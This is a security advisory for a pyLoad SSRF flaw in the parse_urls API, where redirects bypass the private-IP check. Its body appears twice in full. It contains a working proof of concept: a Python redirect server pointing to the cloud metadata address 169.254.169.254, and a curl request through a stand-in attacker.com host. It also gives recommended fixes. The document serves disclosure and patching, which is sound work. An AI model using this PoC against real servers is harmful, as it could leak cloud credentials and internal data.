CVE-2026-46561

## Summary The SSRF mitigation added in commit `33c55da` for GHSA-7gvf-3w72-p2pg is incomplete. The `PREREQFUNCTION`-based private IP check was correctly applied to `HTTPChunk` (download path) but not to `HTTPRequest` (used by the `parse_urls` API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the `is_global_host()` check on the initial URL. ## Details The `parse_urls` API method validates the initial URL hostname: ```python # src/pyload/core/api/__init__.py:600-604 if url: urlp = urlparse(url) hostname = urlp.hostname if urlp.scheme in ("http", "https") and hostname and is_global_host(hostname): page = get_url(url) ``` `get_url()` is imported from `request_factory.py` and creates an `HTTPRequest` with default settings: ```python # src/pyload/core/network/request_factory.py:58-64 def get_url(self, *args, **kwargs): with HTTPRequest(None, self.get_options()) as h: rep = h.load(*args, **kwargs) return rep ``` `HTTPRequest.__init__` sets `allow_private_ip = True` by default: ```python # src/pyload/core/network/http/http_request.py:75 self.allow_private_ip = True ``` The `init_handle()` method enables redirect following: ```python # src/pyload/core/network/http/http_request.py:117-118 self.c.setopt(pycurl.FOLLOWLOCATION, 1) self.c.setopt(pycurl.MAXREDIRS, 10) ``` The `_pre_request_callback` that should block redirects to private IPs is a no-op when `allow_private_ip` is `True`: ```python # src/pyload/core/network/http/http_request.py:574-582 def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port): if not self.allow_private_ip and not is_global_address(conn_primary_ip): return pycurl.PREREQFUNC_ABORT return pycurl.PREREQFUNC_OK ``` The fix at commit `33c55da` correctly set `allow_private_ip = False` in `HTTPChunk` (http_chunk.py:136) for the download path, but `HTTPRequest` used by `RequestFactory.get_url()` retains the default of `True`, leaving the `parse_urls` API unprotected against redirect-based SSRF. ## PoC ```bash # Step 1: Start a redirect server on attacker-controlled host python3 -c " from http.server import BaseHTTPRequestHandler, HTTPServer class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/') self.end_headers() HTTPServer(('0.0.0.0', 8888), H).serve_forever() " # Step 2: Authenticated user with ADD permission calls parse_urls curl -X POST 'http://pyload-host:8000/api/parse_urls' \ -H 'Cookie: session=<valid_session>' \ -d 'url=http://attacker.com:8888/redirect' # Expected flow: # 1. is_global_host('attacker.com') -> True (passes validation) # 2. get_url() creates HTTPRequest with allow_private_ip=True # 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/ # 4. _pre_request_callback runs but skips check (allow_private_ip=True) # 5. pycurl follows redirect to cloud metadata endpoint # 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker ``` ## Impact An authenticated attacker with ADD permission can perform SSRF against: - **Cloud metadata endpoints** (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets - **Internal services** on private networks (e.g., `10.x.x.x`, `172.16.x.x`, `192.168.x.x`) - **Localhost services** (`127.0.0.1`) running on the pyload server Data exfiltration is partially limited by the `RE_URLMATCH` regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The `REDIR_PROTOCOLS` setting limits redirects to HTTP/HTTPS only. ## Recommended Fix Set `allow_private_ip = False` in `RequestFactory.get_url()`: ```python # src/pyload/core/network/request_factory.py def get_url(self, *args, **kwargs): with HTTPRequest(None, self.get_options()) as h: h.allow_private_ip = False # Prevent SSRF via redirects rep = h.load(*args, **kwargs) return rep ``` Alternatively, change the default in `HTTPRequest.__init__` to `False`: ```python # src/pyload/core/network/http/http_request.py:75 self.allow_private_ip = False ``` The second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.

## Summary The SSRF mitigation added in commit `33c55da` for GHSA-7gvf-3w72-p2pg is incomplete. The `PREREQFUNCTION`-based private IP check was correctly applied to `HTTPChunk` (download path) but not to `HTTPRequest` (used by the `parse_urls` API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the `is_global_host()` check on the initial URL. ## Details The `parse_urls` API method validates the initial URL hostname: ```python # src/pyload/core/api/__init__.py:600-604 if url: urlp = urlparse(url) hostname = urlp.hostname if urlp.scheme in ("http", "https") and hostname and is_global_host(hostname): page = get_url(url) ``` `get_url()` is imported from `request_factory.py` and creates an `HTTPRequest` with default settings: ```python # src/pyload/core/network/request_factory.py:58-64 def get_url(self, *args, **kwargs): with HTTPRequest(None, self.get_options()) as h: rep = h.load(*args, **kwargs) return rep ``` `HTTPRequest.__init__` sets `allow_private_ip = True` by default: ```python # src/pyload/core/network/http/http_request.py:75 self.allow_private_ip = True ``` The `init_handle()` method enables redirect following: ```python # src/pyload/core/network/http/http_request.py:117-118 self.c.setopt(pycurl.FOLLOWLOCATION, 1) self.c.setopt(pycurl.MAXREDIRS, 10) ``` The `_pre_request_callback` that should block redirects to private IPs is a no-op when `allow_private_ip` is `True`: ```python # src/pyload/core/network/http/http_request.py:574-582 def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port): if not self.allow_private_ip and not is_global_address(conn_primary_ip): return pycurl.PREREQFUNC_ABORT return pycurl.PREREQFUNC_OK ``` The fix at commit `33c55da` correctly set `allow_private_ip = False` in `HTTPChunk` (http_chunk.py:136) for the download path, but `HTTPRequest` used by `RequestFactory.get_url()` retains the default of `True`, leaving the `parse_urls` API unprotected against redirect-based SSRF. ## PoC ```bash # Step 1: Start a redirect server on attacker-controlled host python3 -c " from http.server import BaseHTTPRequestHandler, HTTPServer class H(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://169.254.169.254/latest/meta-data/') self.end_headers() HTTPServer(('0.0.0.0', 8888), H).serve_forever() " # Step 2: Authenticated user with ADD permission calls parse_urls curl -X POST 'http://pyload-host:8000/api/parse_urls' \ -H 'Cookie: session=<valid_session>' \ -d 'url=http://attacker.com:8888/redirect' # Expected flow: # 1. is_global_host('attacker.com') -> True (passes validation) # 2. get_url() creates HTTPRequest with allow_private_ip=True # 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/ # 4. _pre_request_callback runs but skips check (allow_private_ip=True) # 5. pycurl follows redirect to cloud metadata endpoint # 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker ``` ## Impact An authenticated attacker with ADD permission can perform SSRF against: - **Cloud metadata endpoints** (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets - **Internal services** on private networks (e.g., `10.x.x.x`, `172.16.x.x`, `192.168.x.x`) - **Localhost services** (`127.0.0.1`) running on the pyload server Data exfiltration is partially limited by the `RE_URLMATCH` regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The `REDIR_PROTOCOLS` setting limits redirects to HTTP/HTTPS only. ## Recommended Fix Set `allow_private_ip = False` in `RequestFactory.get_url()`: ```python # src/pyload/core/network/request_factory.py def get_url(self, *args, **kwargs): with HTTPRequest(None, self.get_options()) as h: h.allow_private_ip = False # Prevent SSRF via redirects rep = h.load(*args, **kwargs) return rep ``` Alternatively, change the default in `HTTPRequest.__init__` to `False`: ```python # src/pyload/core/network/http/http_request.py:75 self.allow_private_ip = False ``` The second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.